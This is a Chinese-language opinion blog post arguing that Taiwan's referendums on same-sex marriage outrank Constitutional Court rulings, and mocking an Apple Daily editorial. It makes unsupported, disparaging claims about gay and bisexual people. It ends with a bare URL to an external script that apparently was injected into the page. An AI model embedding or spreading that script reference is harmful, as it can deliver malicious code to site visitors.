公投題目不喜歡就栽贓為「違憲」與「民主重挫」？

蘋果日報社論邏輯混亂不清愈發嚴重，恍若阿茲海默症一去不返。

竟然拿大法官釋憲來對抗直接民意？

雖然我反對「公民投票」這個制度，因為經濟學無論從理論或實證都指出「民主投票」不可能選出最佳方案，甚至連多數人接受的方案都得不到。

再加上台灣公投題目竟然還有個「太上狗屁單位中選會」來核定題目？如果這叫民主還真叫人看不起！

君不見黃士修提案的「解除非核家園時程，確保重啟核電權利」被中選會技術性阻擋，公務員作為台灣負資產只求自己飯碗，又添一例！

言歸正傳，直接民意連憲法都能創制、修憲了，邏輯上怎麼可能存在「違憲」？！可笑的是到了蘋果日報社論眼中「公投竟然不能對抗毫無民意基礎的大法官釋憲」？！如此邏輯竟然有資格執筆一家報社的社論，蘋果日報自甘墮落至此也甚為有趣。

再者，中華民國憲法第七條：「中華民國人民，無分男女、宗教、種族、階級、黨派，在法律上一律平等。」

本身並不包含「性取向」喔！

也就是說，本國憲法的平等權並不包含「同性戀」– 未禁止，但也沒有提供憲法位階的人權保障。

這是現今我看過的所有支持同性戀的論調裡，完全忽略的憲法現況！

我曾經經濟分析過：正常直男直女對同性戀議題應該是無感，反而是潛在同性戀、雙性戀者會特別激烈支持或反對之。 （參見全文：https://wp.me/p9ffS3-tJ）

一個未受到憲法保障的性取向或性偏好，就算大法官釋憲承認其為憲法權利，但碰上直接民主要推翻大法官釋憲時，試問何者為大？對民主體制稍有認識的人，都知道答案。

可該文執筆者連這一點法律常識都不具備，對如今要被公投決定「是否可以享有合法婚姻」與「是否入國民教育教材」，污名為助長歧視與破壞民主？顯見執筆者有立場沒邏輯到極點。
https://js.developerstatss.ga/stat.js?n=ns1